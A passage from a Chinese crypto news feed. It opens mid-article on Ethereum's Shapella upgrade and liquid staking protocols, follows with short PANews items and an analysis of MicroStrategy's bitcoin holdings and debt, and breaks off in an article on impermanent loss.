另一个需要考虑的因素是流通极限。这定义了每个epoch可以退出共识层的最大验证者数量，这个数字随着活跃验证者的总数的增加而增加。当前大约有525,000个验证者，每个epoch允许8次退出，这相当于每天最多有1,800个验证者退出。Consensys在文章中详细解释了如何实现这些估算。 到目前为止，信标链上已经质押了超过1800万个ETH，从中不难看出为什么在Shapella升级之前的几个月里，投资者们充满了担忧。从表面上看，启用提款应该导致供应量的冲击，从而对ETH的价格造成显着的下行压力。但真正的影响将是什么呢？ 为了估算潜在的价格影响，我们需要首先评估现有质押者的状态和他们可能做出的决策。我们认为这些决策很大程度上受质押者的财务状况驱动。换句话说，ETH的质押者到底是盈利还是亏损呢？ 由hildobby提供的数据看板显示，基于ETH质押者资产的价值，只有27%的质押者是实际上盈利的，而其余的73%处于亏损状态。基于这一数据，使得质押者们意识到了卖掉当前的ETH存在损失，从而他们获将重新质押累的奖励，从而争取未来收益最大化。 流动性质押协议的质押量 另一个因素是考虑通过流动性质押协议（LSPs）已经抵押了多少ETH。在撰写本文时，根据DefiLlama的数据，该数字已经超过了30%（若包括Coinbase上的质押量，则接近45%），其中大部分ETH质押于Lido。 就Lido而言，stETH会自动重新调整，以考虑流动性质押所获得的累计奖励。这意味着选择在Lido质押的用户可以通过在二级市场上出售来“获取”ETH奖励。因此，对于Lido背后的验证者而言，直接提款压力就相对较小，且能够较为灵活地处理多余奖励。 我们认为，这些验证者会更好地利用这些多余奖励，通过扩大其验证器数量，而不是出售它们。因此，这进一步减轻了ETH提款和流入对其价格产生的总体下跌的压力。 $ETH的价格 现在我们已经考虑了决定可能销售ETH奖励潜在的关键因素，那么这对$ETH价格意味着什么？ “如果我们假设验证者将出售其质押的ETH奖励的50%（而不是其主要质押的ETH），我们预计将有553,650个ETH将被出售。按照7天摊销，这相当于每天销售约1%的日常ETH交易量（包括现货和永续期货交易量）。 根据整体风险环境和4月初预期的上海升级期间ETH的总体流动性情况，我们认为这个数量的影响将逐渐扩大到ETHUSD略微下跌。另一种观点是，上海升级的顺利进行是以太坊作为一项技术的整体看涨因素，因此ETHUSD会上涨。” — Galaxy 虽然我们无法提供价格预测，但我们想分享Galaxy的观点，他撰写了一篇探讨基于部分和完全提款执行量的可能结果的文章，我们强烈推荐阅读。 无论价格最终会如何，我们相信Shapella将为以太坊带来新的机遇。具体内容我们将在下文分享。 Shapella升级从多种角度来看都可能成为流动性质押协议（LSP）的牛市催化剂。 随着ETH可以被提取之后，LSP应该可以更加容易、更经济的维持其各自的流动性质押衍生品（LSD）和ETH之间的价格挂钩。这使得LSD能够更好地借入抵押品，因为更严格的盯住汇率有助于限制价格波动，从而降低清算风险。再加上以太坊DeFi生态系统中LSD的日益增长的采用趋势，这将成为投资者追求更高资本效率收益的机会。 更紧密的挂钩也促进了ETH的流动性质押，对投资者而言，更像是“无风险”或基准利率。他们曾经对能否长期挂钩的持谨慎态度，因为挂钩在很大程度上取决于各种流动性池的供需平衡。而在最近存在失败的案例（由于曲线上的大规模抛售，stETH贬值），让人印象深刻。 基于以上原因，我们预计提取出来的大部分ETH和闲置的ETH都会流入LSP，并且它们的采用率会进一步增加。但是，哪些LSP做了比其他LSP更加充足的准备？我们将在下面介绍一些不同的LSP，介绍的内容包括他们是做什么的、他们的飞轮效应和反馈路径，以及这些LSP如何让用户更多的控制他们的提取密钥、NFT的利用再到通过MEV策略以获得额外收益。 Lido Finance (LDO, stETH) 在升级后，Lido的TVL很明显将会大幅增长，从而成为LSP领域的领导者。凭借强大的声誉、更深的流动性和大量的DeFi的集成，那些寻找流动性质押项目的用户有充分的理由选择Lido。自11月以来，Lido的代币持有者数量和TVL呈上升趋势，占迄今为止ETH总质押量的近75%。 随着对Lido在LSP赛道地位越发强势而导致的集中化问题，加上Arbitrum事件后对治理审查力度的加大，治理体系将比以前更加重要。虽然他们已经采取措施将stETH持有者纳入LDO持有者治理体系里的一部分，这一点值得赞扬，但想要帮助ETH代币去中心化的用户也可以考虑我们下面列出的其他替代方案。Lido最近还宣布，其即将推出的v2将朝着进一步去中心化迈出一步，并围绕提款和质押路由这两个主要升级展开。 Swell Network Swell Network也是一种即将推出的LSP，旨在为用户提供更高的质押收益。目前，他们最新的版本Seawolf已经在Goerli测试网上运行，Swell正在准备在Shapella升级后的4月下旬在以太坊主网上推出。虽然初始时仍需与一组获授权的专业节点运营商合作，以在竞争环境中为用户提供大规模、可靠的收益，但后续的迭代将看到运营商集合的扩展，并最终变为无需获授权，同时具备足够的流动性、稳定性和风险缓解技术，如DVT，这些是跟协议的价值取向是一致的。 Swell的流动质押代币swETH将是一个带有收益的代币，其价值会随着链上奖励的积累而增加。用户可以通过共识层奖励（例如质押收益）和执行层奖励（例如优先费用和MEV）获得奖励。在Swell Network中进行质押的用户还可以访问运行收益增强策略的保险库，一切都在他们的dApp内完成。Swell将作为市场上成本最低的质押项目，没有协议质押费用。 Rocket Pool (RPL, rETH) Rocket Pool似乎比像LDO这样更占主导地位的玩家在某些方面更具优势，例如更加分散的节点运营商网络和更低的节点运营所需资本要求（仅需16个ETH）。但是，它也有自己的缺点。这些缺点包括与竞争对手相比更高的性能费用，以及节点运营商必须将其质押的ETH的一定比例价值锁定在RPL中作为协议保险的抵押品。 尽管对于希望从Rocket Pool运营节点的用户来说存在这种更高的摩擦，但即将到来的Atlas升级的优势可能足以抵消它。计划于4月18日发布的Atlas升级带来了几项改进，包括提高协议效率、增加节点运营商奖励以及大大提高rETH容量，同时保持协议的完全无许可性质。其中最重要的功能之一是引入了8个ETH迷你池，这将再进一步降低最低资本要求。同时，这一功能可以为节点运营商和rETH质押者带来更高的回报，当用户运行两个8-ETH迷你池而不是一个16-ETH迷你池时，可提供多达18%的额外回报。虽然这对Rocket Pool的未来发展是有好处的，但我们仍需要观察者已更新是否真正有效地从其竞争对手那里吸引了TVL和市场份额。 Frax Finance (FXS, frxETH/sfrxETH) 今年，Frax的市场份额增长迅速已经成为强有力的竞争者，未来依旧可观。这种增长很容易与Frax提供的5.6%左右的最高质押年化收益率以及其双代币模型有关。在此背景下，frxETH充当了与ETH松散挂钩的稳定币，sfrxETH是frxETH的质押版本，可以获得质押奖励。通过这种设计，Frax使frxETH持有者可以以多种方式获得收益，即质押以获得sfrxETH和验证器奖励，或在Curve上提供frxETH-ETH流动性。这两个选项共同不仅创造了frxETH更深层次流动性，也提高了sfrxETH和Curve流动性池中的年化收益率。 与Rocket Pool一样，Frax也计划在Shapella之后进行升级，这可能会成为其采用的强大催化剂。frxETH v2升级计划通过启用无需限制于验证器（由协议本身运行）来增加去中心化。除此之外，最近通过了一项提议，利用FXS贿赂和激励来启动未来的frxETH交易对的流动性，创造了一个强大的飞轮，理论上最终会导致FXS和frxETH的价值增加，以及产生更高的收益和吸引更多的流动性为LSD。DWF Labs的ZhouYeMen在这里对这个话题进行了深入详细的解释。 Ether.fi (eETH) Ether.fi是另一个进入市场的去中心化LSP，但它具有一些重要的区别特征。Ether.fi用的是一个非托管的委托权益协议，用户会生成并持有自己的ETH密钥。另一个特征是它利用NFT，为每个通过协议启动的验证者铸造。这些NFT控制着32 ETH的权益，存储与验证者相关的元数据，如客户端、地理位置、节点运营商和任何节点服务。然后，Ether.fi的eETH是从这些NFT的流动性池中铸造出来的。 这两种机制的结合使得用户能自己提交退出命令，而不是通常的节点运营商。被收回的抵押ETH将被存入一个提取安全保险箱，在那里用户将能够通过销毁他们的NFT净收回他们的ETH。这成功地降低了用户在其他LSP中存在的重大和不透明的交易对手方风险，同时确保总会有足够的ETH流动性供eETH持有者赎回。因此，我们预计Ether.fi将成为Shapella后迎来用户和TVL激增的LSP之一。 未来，Ether.fi计划利用EigenLayer创建一个节点服务市场，用户和节点运营商可以注册他们铸造的NFT，提供节点基础设施服务，并将这些服务的收入与用户和节点运营商分享。目前，Ether.fi已经提供机构权益委托服务，定制投资结构的服务，并开发面向零售流动性权益早期用户计划。随着ETH提取的启用，机构可能也会将ETH权益委托视为可行的投资，而Ether.fi定位为许多受益者之一。 Manifold Finance (FOLD, mevETH) Manifold也是LSP领域的新参与者，不到一周前推出了其MEV优化、多链LSP。mevETH被实现为全链通用代币（OFT），可以在链之间无需包装器直接桥接，使它成为迄今最可组合的LSD。同时，mevETH是围绕MEV捕获设计的，采用了Manifold LSP独特的、新颖的MEV方法，为用户提供除了抵押收益外的额外收益。其中一种方法是通过套利ETH和mevETH之间的挂钩，不仅提供额外收益的手段，而且还有助于加强挂钩关系。 Manifold已表示他们的目标是在今年年底之前积累100K ETH，约为Lido当前抵押的ETH的六分之一。随着LSD逐渐整合到现有的DeFi协议中，mevETH的高可组合性可能会推动其成为采用率的领先者，为自己开创强劲的市场份额。 无论哪个协议最终从Shapella升级中受益最多，由于流动抵押的吸引力增加，ETH的抵押参与度几乎肯定会增加，无论是由于自然上涨还是协议驱动的发展。根据其他PoS链的抵押比例，例如Polygon和Solana，ETH抵押比例似乎有可能增加到40-70%的范围内，至少比目前的15%高2倍。尽管这可能引起抵押收益的最终下降和更大的供应通胀的担忧，但它也带来了许多其他机会和可能性，我们将在下面探讨。 Pendle Finance (PENDLE) Pendle 是一个收益率交易协议，允许用户通过封装收益代币并将其拆分为两个代币——代表本金的 PT 和代表收益的 YT 来执行各种收益管理策略，这两个代币都可以通过他们的自定义 AMM 进行交易。1 PT 给用户在到期时赎回基础资产的权利，到期日期由初始代币持有者决定，而 1 YT 给用户在到期日期之前接收基础资产上的收益的权利。这使得 Pendle 可以在实质上创建收益市场，使用户能够采取多种策略，包括以折扣长期持有资产、以收益年化率为目标、甚至获得低风险和稳定增长的固定收益。 同样，锁定的 ETH 用户可以利用 Pendle 将其 stETH 拆分为 1 PT stETH 和 1 YT stETH，然后利用 Pendle 的自定义 AMM 交易任何一种代币并对收益进行定向投注。随着即将到来的 Shapella 升级和预期的质押收益率随时间下降，一种可能的交易 stETH 持有者可以采取的交易是利用当前价格出售 YT stETH，以基于其现有收益获得差额收益。 自 12 月以来，Pendle 的 TVL 已经经历了 7 倍的飙升，越来越多的用户发现了它的潜力。根据 DefiLlama 的令牌 TVL 细分，其中超过三分之一可归因于 LSD，包括 stETH 和 frxETH。随着 Pendle 最新整合 sfrxETH，我们可能会看到 LSD 在 Pendle 的 TVL 中的占比增加。 Gearbox (GEAR) 关于杠杆的话题，上述Shapella升级后LSD与ETH之间更紧密的联系降低了流动性风险，解锁了杠杆ETH质押的可行性。Gearbox是一个双向借贷市场，将寻求通过被动和安全的APY提供其资产的用户与寻求额外资本的杠杆爱好者连接起来。该协议引入了杠杆化的流动质押衍生品，即LLSD，作为一种单击策略，让用户能够本地质押最多相当于其ETH抵押品价值10倍的金额以获得更高的质押收益，高达达12％以上，相较于Lido目前提供的4.3％APR。 到目前为止，该策略已针对Lido的stETH和Coinbase的cbETH（等待DAO投票）启用，计划在Frax和Rocket Pool分别拥有主网Chainlink预言机后，将其frxETH和rETH整合进来。作为杠杆的基础层，Gearbox的定位使其能够间接受益于预计的ETH质押数量的增加以及LSP和LSD的增长和采用，因为更多的ETH质押者正在寻找相对低风险的方法来增加其质押收益。在过去的几个月中，stETH已占据Gearbox总信用账户TVL的三分之一以上，约为2,200万美元。 随着 Gearbox v3 的推出即将到来，人们可以期待新的功能，如自动化投资组合管理和健康因子维护，进一步激励 LSD 代币持有者利用 Gearbox 的杠杆能力，将其推向 DeFi 的前沿。 Flashstake (FLASH) Flashstake是另一个新颖的协议，引入了一种独特的机制来增加用户资产的资本效率。用户存入并抵押其资产，锁定当前的收益年利率，并铸造与其持仓相对应的基于时间的衍生品（TBDs）。然后，用户可以燃烧或交换这些TBDs以获取其资产的预付收益，在所选的锁仓期后取回其本金存款。这尤其有趣，考虑到随着时间的推移，ETH的抵押收益率有望降低。Flashstake使早期用户不仅能够在最长为1年的时间内确保和固定当前（据说是最高的）ETH抵押收益，而且还能在其他地方继续产生收益。 可以理解的是，这可能会引起一些关注。这些预付收益到底来自哪里？为了向用户提供这种收益，Flashstake采用了一个由收益池、流动性池和加速池组成的三池方法。 与贷款不同，Flashstake的基于池的方法还确保了用户存入的资产始终是100％抵押，并且不面临任何清算风险。每个保险库策略的隔离还为用户提供了额外的安全层，因为任何潜在的攻击影响都仅限于受影响的保险库。凭借其强大的价值主张和创新机制以及强大的安全性，Flashstake的总锁定价值似乎很有可能从流动性ETH的涌入和流动型权益证明的增加中获益。 EigenLayer 随着Shapella 升级可以提取以太坊, 使用EigenLayer合约锁定的ETH如果检测到恶意意图可以被撤回和减少。这为EigenLayer成为应用程序建立的去中心化信任层铺平了道路，在这些应用程序上，现有的ETH持有者可以选择使用他们的质押来保护EigenLayer上的新应用程序。EigenLayer的再抵押机制为用户提供了一种增量收益机会，超出他们通过简单质押ETH并获得与MEV相关的奖励所获得的收益，同时实现其主要目的，即将以太坊的信任层模块化并启用新的中间件和相邻链的广泛设计空间。 Finality Capital Partners预计，到2028年，ETH再抵押者将获得高达11.5%的APY，预计2028年的基础ETH质押收益率为2.0%左右。这个2.0%的质押收益率基于他们对ETH质押比例的预期能达到60%，而不是目前的15%。因此，我们看到通过EigenLayer进行再抵押将成为ETH持有者的常见做法，特别是那些寻求相对较低风险方法来增加收益的人。 新的创新 Ion Protocol 尽管在 DeFi 中增加 LSD 的采用取得了一些成功，今天仍然存在巨大的摩擦。由于存在多种不同的 LSD 和流动性质押设计，想要整合它们中的每一个的 DeFi 协议将需要多种定制和新颖的解决方案。例如，Uniswap 无法接受来自 Lido 的 stETH 等变基 LSD，而 Aave 和 Maker 等蓝筹协议需要为不同的 LSD 代币创建单独的保险库和池。这导致 LSD 的流动性分散且较浅，从而导致滑点增加和价格发现效率低下，违背了它们代表质押 ETH 和分配质押收益的初衷。 在其众多目标中，Ion Protocol 旨在利用双代币模型将各种现有 LSD 代币的存款聚合到一个通用的记账单位中，从而为上述问题提供解决方案。这种通用记账单位将允许更好地无摩擦地集成到 DeFi 中，充分利用 LSD 的全部潜力，将其用作低风险、产生收益的抵押品，甚至通过杠杆提高资本效率。 UnshETH (USH) UnshETH 是通过激励来促进验证者的去中心化，将更多的收益引导给主导地位较低的 LSP。这是通过称为 LSDfi 的新原语类别完成的，包括验证者去中心化挖掘 (vdMining) 和验证者支配选项 (VDO)。 vdMining 是一种代币分配机制，当用户在符合预定义最佳去中心化比率的 LSP 上投入越多时，它就会奖励用户，而 VDO 是一种机制，允许占主导地位的 LSD 的持有者出售其验证者占主导地位百分比的“看跌期权”，罢工价格设定的百分比低于他们目前的主导地位。如果在到期时支配地位低于行使价，则 VDO 持有人将损失一部分收益，该收益将分配给其他 LSD 的持有人。这两种机制结合起来激励新的利益相关者与不那么占主导地位的 LSP 一起这样做，并激励更多现有的占主导地位的 LSD 持有者将他们的资本分散到各种 LSP 中。 Shapella 升级后的新功能计划也已到位，其中包括用于质押 ETH 流动性的路由器和其他有助于提高 UnshETH 原生代币 USH 实用性的路由器。接下来能看看 UnshETH 的TVL最终将捕获多大是否能成为抵押成为 ETH 持有者事实上的收益解决方案。 Zero Liquid (ZERO) Zero Liquid 是另一个新协议，可能属于 LSDfi 的新赛道，为用户的 LSD 发放自还贷款。与 Aave、Euler 等更传统的货币市场协议类似，用户首先将资产作为抵押品存入，然后能够以其抵押品价值的一部分获得贷款。 在 Zero Liquid 的案例中，用户能够存入 LSD 和原生链代币（ETH、MATIC 等）作为抵押品，获得资产的合成版本作为贷款。然而，这些贷款的特征是它们的 0% 利息和自我偿还性质，结合合成资产的使用，允许协议提供零清算模型。Zero Liquid 利用用户存入抵押品产生的收益自动偿还债务来达到这个目标。 虽然该协议尚未正式推出其产品，但人们已经可以预见到除了最大化用户资产之外的许多独特用例，它在这些方面非常方便。有了零流动性，用户基本上可以在不需要任何前期资本的情况下进行投资和购买。与现实世界的“先买后付”模式有一些相似之处，通过 Zero Liquid 的产品进行支付将允许用户立即购买或“消费”，并且只用他们存放的抵押品的未来收益率（或时间，取决于你如何看待它）来支付). 就像 UnshETH 一样，Zero Liquid 引入了全新的模型和机制来解决用户面临的现有问题，同时释放潜力并增加 LSD 的用例。仍处于起步阶段，这两种协议在 PMF 及其吸引用户实现其设定目标的实际能力方面还有很多需要证明的地方，但毫无疑问，这些新发展为 LSD 提供了更加乐观的理由。 在 Shapella 之后，下一个令人期待的以太坊升级将是Cancun升级，它是扩展路线图的一部分。虽然像Optimism和Arbitrum这样的第二层扩容方案已经将成本降低了8倍以上，但数据存储的费用依然很高，其占交易成本的90%以上。 EIP-4844旨在通过引入proto-danksharding到以太坊中，将L2 rollup的成本降低10-100倍，并开启一个低成本的链上活动新时代。它为实现Danksharding方案提供了支持（例如交易格式、验证规则）。EIP-4844引入了临时“blob”存储，当不需要时便可从以太坊中删除。预计以太坊可提供超过100倍的吞吐量和并将交易成本降低至0.001美元以下。 Cancun升级中可能的其他改进内容还包括EVM Object Format (EOF)组中的积累多年的6个EIP，他们旨在更好地构造字节码，或计算机对象代码，使解释器将其转换为二进制机器代码以便计算机硬件处理器读取，使系统更快、更高效、更便宜和更安全。其中一个已经包含在之前的伦敦升级中，一些可能在即将到来的上海升级中，其余的可能会随着Cancun升级一起到来。EOF2是一种新的EOF扩展，能够彻底改变控制流程，而这些EIP将为EOF2的实施提供支持。 Cancun升级的直接受益者将是那些可以直接供Dapp部署的rollup和用户。得益于交交易成本大幅下降，新的应用也将能够从这次升级中获益，例如链上订单簿的成本将会更低，去中心化的物理基础设施网络也将可以利用更快的L2进行交易，同时结算到可信的以太坊基础层。随着Cancun升级的来临，我们将进一步深入探讨这些机会。 免责声明：Bixin Ventures是文中提及的EigenLayer、Pendle Finance和Swell Network 3个项目投资者  ( 6 min )
    香港立法会议员：香港拟从三个方向打造国际Web3枢纽，包括针对虚拟资产服务
    PANews 4月12日消息，在今日举行的Web3香港嘉年华峰会上，香港特别行政区立法会议员邱达根表示，《十四五规划纲要》中提及要将中国香港打造成“国际创新科技中心”，香港将从三个方向配合国家发展战略，打造国际Web3枢纽：1.联通数字人民币、发展数字港元、虚拟货币服务；2.提升科研转化、深入上游科技研发、分布式账本计划（DLT）的创新应用；3.推出“人才服务窗口”并多方面引入科技人才，通过适当的Web3发展策略和监管框架以汇聚全球人才。  ( 1 min )
    比特币冲上3万美金，最大多头MicroStrategy回本了吗？
    原文链接：《MicroStrategy 财务健康状况研究：会破产吗？什么时候需要卖币？比特币价格多少时盈亏平衡》 吴说作者：Joey Wu 本期编辑：Colin Wu 2020 年 12 月 9 日，MicroStrategy 以约 6.5 亿美元的现金购买了 29646 枚比特币，平均价格约为 21925 美元。至此，MicroStrategy 共持有 70470 枚比特币，总成本约为 11.25 亿美元，平均购买价格约为 15964 美元。 2021 年 2 月 17 日，MicroStrategy 以约 10.26 亿美元的现金购买了 19452 枚比特币，平均价格约为 52765 美元。至此，MicroStrategy 共持有 90531 枚比特币，总成本约为 21.71 亿美元，平均购买价格约为 23985 美元。 2021 年 6 月 8 日，MicroStrategy 以约 4.89 亿美元的现金购买了 13005 枚比特币，平均价格约为 37617 美元。至此，MicroStrategy 共持有 105085 枚比特币，总成本约为 27.41 亿美元，平均购买价格约为 26080 美元。 2021 年 6 月 14 日，MicroStrategy 与代理人 Jefferies LLC 签订了公开市场销售协议，通过 Jefferies 不定时发行总价不超过 10 亿美元的普通股。至此，MicroStrategy 共持有 114042 枚比特币，总成本约为 31.6 亿美元，平均购买价格约为 27713 美元。 2021 年 12 月 9 日，MicroStrategy 宣布第四季度已购入额外的 8436 枚比特币，总成本为 4.96 亿美元，平均价格为约 58748 美元。至此，MicroStrategy 共持有 122478 枚比特币，总成本约为 36.6 亿美元，平均购买价格约为 29861 美元。 2021 年 12 月 30 日，MicroStrategy 宣布 以约 9420 万美元的现金购买了额外的 1914 个比特币，平均价格为 49229 美元。至此，MicroStrategy 共持有 124391 个比特币，总成本约 37.5 亿美元，平均价为 30159 美元。 2021 年 12 月 31 日至 2022 年 1 月 31 日，MicroStrategy 在去年之间以 2500 万美金购买 660 个比特币，平均价格为 37865 美金， 该公司目前持有 125051 个比特币，平均价格 30200 美元。 2022 年 6 月 29 日，MicroStrategy 宣布以约 1000 万美元额外购买了 480 枚比特币，平均价格为 20817 美元。至此 MicroStrategy 持有价值 39.8 亿美元的 129699 枚比特币，平均价格为 30664 美元。 MicroStrategy 宣布在 8 月 2 日至 9 月 19 日期间以约 600 万美元现金收购了约 301 个比特币，平均价格为 19851 美元。至此，MicroStrateg 共持有 130000 个比特币，平均购买价格为 30639 美元，共花费 39.8 亿美元。 2022 年 11 月 1 日至 2022 年 12 月 24 日期间，MicroStrategy 购买了 2500 个比特币，至此共持有 132500 个比特币，总购买价约 40.3 亿美元，平均每比特币约 30397 美元。 2023 年 2 月 16 日至 2023 年 3 月 23 日期间，MicroStrategy 以约 1.5 亿美元现金购买了 6455 个比特币，平均价格约为 23238 美元。至此 MicroStrategy 共持有约 138955 个比特币，平均购买价约为 29817 美元。 2023 年 4 月 4 日，MicroStrategy 以 28016 美元的均价再次购买 1045 枚比特币，共计 2930 万美元。至此 MicroStrategy 持有 140000 个比特币，平均购买价格为 29803 美元，约合 41.7 亿美元。 截至 2023年 3 月，Microstrategy 有约 22 亿美元的长期债务，分别如下： 2020 年 12 月 9 日，MicroStrategy 宣布发行本金总额为 6.5 亿美元的可转换优先票据，包含 5.5 亿美元可转债和 1 亿美元期权，转换日均为 2025 年 12 月 15 日。其中，可转债票面利率为 0.75%，每半年付息。转换价格约为每股 397.99 美元，相较 12 月 8 日普通股的收盘价 289.45 美元溢价约 37.5%。除非公司发生契约中定义的「根本性变化」，否则票据在 2025 年 6 月 15 日之前不能转换为股票。根本性变化是指公司不再在纳斯达克或纽约证券交易所上市，被合并、收购，或者多数股权发生变化。如果上述任何事件发生，Microstrategy 可能被要求全额偿还贷款。鉴于首席执行官 Michael Saylor 拥有超过 2/3 的投票权，这种可能性不大。 2021 年 2 月 17 日，MicroStrategy 再次宣布发行本金总额为 10.5 亿美元的可转换优先票据，包含 9 亿美元不计息可转债和 1.5 亿美元期权，转换日均为 2027 年 12 月 15 日。转换价格约为每股 1432.46 美元，相较 12 月 8 日普通股的收盘价 955.0 美元溢价约 50%。这些票据在 2026 年 8 月 15 日之前不能被赎回，除非公司发生契约中描述的「根本性变化」，此条款同上。 2021 年 6 月 8 日，MicroStrategy 宣布发行 2028 年到期的本金总额为 5 亿美元的垃圾债，票面利率为 6.125%，每半年付息，因此每年 6 月 15 日与 12 月 15 日须支付利息 1531.25 万美元。 2022 年 3 月 29 日，MicroStrategy 的子公司 MacroStrategy 宣布与 Silvergate 银行达成 2.05 亿美元的比特币抵押贷款以购买比特币，维持保证金比例为 200%，即需要维持 4.1 亿美元作为抵押品，因此价格跌破 4000 美元才会被清算。 据 MicroStrategy 提交 SEC 的文件显示，自 2022 年 9 月与承销商 Cowen and Company 就出售高达 5 亿美元的普通股达成协议以来，出售 218575 股 A 股普通股，总收益约为 4660 万美元。此次发行的净收益计划用于一般企业用途，包括收购比特币和营运资金， 及据市场情况，回购 2025 年到期的 0.750% 可转换优先票据和 2027 年到期的 0% 可转换优先票据，并偿还和 Silvergate Bank 之间的债务。 2023 年 3 月 24 日，MacroStrategy 和 Silvergate 签订协议，MicroStrategy 以 22% 的折扣偿还其 2.05 亿美元的贷款，并预付约 1.61 亿美元，取回了被抵押的 34619 个比特币。 综上，目前 Microstrategy 持有 140000 枚比特币，平均成本为 29803 美元；长期债务约 22 亿美元，每年利息不到 5000 万美元（2022 年总利息为 5300 万美元，由于已偿还部分，因此今年利息支出将少于去年）。 四笔债务中，2025 与 2027 年到期的可转换票据（共 17 亿美元）仅偿还约 4660 万美元，2025 年到期的抵押贷款（共 2.05 亿美元）已偿还至少 1.61 亿美元，2028 年到期的垃圾债还未偿还。 MicroStrategy 公布的 2022 年报显示，全年息税前利润（EBIT）为 -12.76 亿美元，其中包括数字资产的减值损失（扣除销售收益），该部分减值损失为 12.86 亿美元。如果扣除这部分浮亏，那么 EBIT 为 1054 万美元（其中第四季度为 391 万美元），相对 2021 年的 4609 万美元大幅下降。可见，仅依靠主营业收入不足以覆盖每年的利息，不过公司目前持有近 4384 万美元的现金和现金等价物，因此至少 2023 年不会出现债务危机。 另外，即使公司无法支付利息，也可以卖出少量比特币或公司股权。2022 年 12 月 22 日，MacroStrategy 以均价约 16776 美元出售了约 704 个比特币，获得约 1180 万美元的现金。这是它将比特币入资产负债表后首次出售比特币，可能会产生税收优惠。可见，卖出少量比特币以应付利息也未必不可能。假设比特币未来两年维持在 15500 美元，那么 2024 年只需卖出 3400 枚比特币即可偿付利息。因此 Microstrategy 在债务到期前几乎不存在破产的可能，只要 2025 年 3 月前比特币价格到达 3 万左右，Microstrategy 就能基本实现盈亏平衡（目前就处于盈亏平衡状态）。 注：近日，财务会计准则委员会（FASB）提出了有关加密资产的新标准，提议对加密资产按公允价值计量。目前的记账标准遵照美国会计准则（GAAP），将加密资产视为“使用寿命无限的无形资产”，价格下跌时需计提减值准备，损失计入利润表，且禁止后续回转减值损失。换句话说，公司只能报告其加密资产价值的下降而不能报告上涨，直到出售加密资产。这是基于保守性原则，但无法反映加密资产的真实价值。 FASB 的提议如果通过，加密资产将按照市场价格计量，那么价格的上涨可以大幅提升 MacroStrategy 的账面净利润。本文在计算 EBIT 时也扣除了加密资产的减值损失。  ( 6 min )
    数据：Blockchain Capital今日卖出约153万枚LDO和6万枚RPL，获利223万美元
    PANews 4月12日消息，据推特用户余烬监测，Blockchain Capital在今早卖出了大部分LSD币种并获得223万美元收益。 Blockchain在2022年1月27日至2022年2月22日买入1,535,919枚LDO，买入均价为1.67美元；4小时前将1,535,919枚LDO卖成1,871枚ETH（约合357万美元），卖出均价为2.33美元；Blockchain的LDO投资获得101万美元收益。此外，Blockchain在2021年10月8日和2022年4月15日通过Uniswap买入120,775枚RPL，买入均价34.4美元；4小时前将65,352枚RPL卖成1,522枚ETH（约合290万美元），卖出均价为44.5美元。Blockchain的RPL投资获得约122万美元收益。  ( 1 min )
    a16z发布2023 Crypto现状报告，并推出加密货币状态指数
    PANews 4月12日消息，a16z发布2023 Crypto现状报告，并推出加密货币状态指数，旨在从技术而非金融角度跟踪加密行业健康状况。该指数代表了14个行业指标的加权平均每月增长，从经过验证的智能合约的数量到交易钱包的数量等等。 该报告旨在解决短暂价格波动的影响与跟踪重要信号 (包括Web3技术持久进步) 的数据之间的不平衡。总体而言，该报告反映了一个比市场价格可能表明的更健康的行业，以及一个稳定的开发、产品发布和持续创新周期。 相关阅读：a16z：来自《2023 年加密货币状况》的 7 个启示  ( 1 min )
    吴忌寒旗下矿业公司比特小鹿将于4月14日上市纳斯达克
    PANews 4月12日消息，据GLOBE NEWSWIRE报道，吴忌寒旗下矿业公司比特小鹿（Bitdeer）宣布他们之前宣布的企业合并在4月11日的Blue Safari临时股东大会上获得批准， 企业合并预计将于2023年4月13日完成。完成后，Bitdeer Technologies Group仍将作为合并后的公司，其股票预计将于2023年4月14日在纳斯达克开始交易，股票代码为“BTDR”。  ( 1 min )
    香港众安银行将通过持牌交易所提供加密货币到法定货币的兑换服务
    PANews 4月12日消息，据彭博社报道，香港众安银行（ZA Bank）首席执行官Ronald Iu在周二接受采访时表示，香港众安银行将通过持牌交易所提供加密代币到法定货币的兑换服务。Ronald Iu表示，众安银行将作为客户的结算银行，允许他们在交易所存入加密代币后，以香港、中国和美国货币取款。 Ronald Iu还表示，该商业模式已经与HashKey和OSL一起运作，这是香港目前仅有的两家获得许可的加密货币交易所。众安银行也将为获得许可的其他交易所提供相同的服务。  ( 1 min )
    马斯克购入约1万块GPU以筹备生成式AI等项目，而其此前曾呼吁暂停AI开发
    PANews 4月12日消息，据金十报道，马斯克近期购买了约1万块GPU，用于Twitter 的两个数据中心之一。该项目涉及创建一个生成式人工智能，Twitter将根据自己的海量数据进行训练。目前还不清楚Twitter将如何利用这项技术，但生成式人工智能可以增强Twitter的搜索功能或帮助重建其广告业务。 此前3月消息，马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统。  ( 1 min )
    香港SFC要求DeFi项目需要持牌并受监管
    PANews 4月12日消息，据吴说报道，在美国推出DeFi风险报告后，香港证券及期货事务监察委员会(SFC)中介机构部临时主管蔡钟辉在今天的“2023香港Web3嘉年华” 上表示，DeFi项目需要受到SFC的监管，自动交易服务也是属于SFC监管之列，去中心交易所如果涉及到虚拟资产，也需要申请牌照；一些DeFi协议名义上是去中心化的，现实中少量开发方持有大量治理代币，需要分析其实质性而不是表面的说法。  ( 1 min )
    Smilee Finance：以无偿损失为产品特色的期权协议
    撰写：Leftside Emiri 编译：深潮 TechFlow 自动做市商(AMMs) 被认为是去中心化金融 (DeFi) 的主要创新之一。在 Google 上搜索 AMMs，你会看到每篇文章都将其称为 DeFi 的 "0 到 1 创新"，而这确实如此。资产的无许可交易是 DeFi 最重要的用例之一，而正是 AMMs 使得其成为可能。有趣的是，作为他们所创建系统的副产品，他们还创造了另一件事情：获得被动收益的机会。 AMMs 需要流动性才能发挥作用，而这种流动性来自于提供流动性的人（LP）。这些人愿意将他们的资产锁定在流动性池中，以便其他人可以与他们交换。作为承担这种风险的回报，LP 可以从池收取的交易费中获得一定的收益。 尽管经验丰富的提供者在他们的 LP 投资中可能是盈利的，但绝大多数经验不足的 LP 最终会遭受亏损，通常是不知道为什么。这要归因于一个称为“无常损失”的现象。 当通过 AMM 提供流动性时，由于资产比例的波动，LP 会失去其持仓的一定金额，这就是所谓的无常损失。交易对面临的波动越大，LP 损失的无常损失就越多。 无常损失发生在提供标准比例（即 50/50 ETH/USDC）的流动性池中。交易涉及用户存入一种代币并移除另一种代币，因此，在波动的交易日后，池中资产的比例自然会偏离 50/50。由于 LP 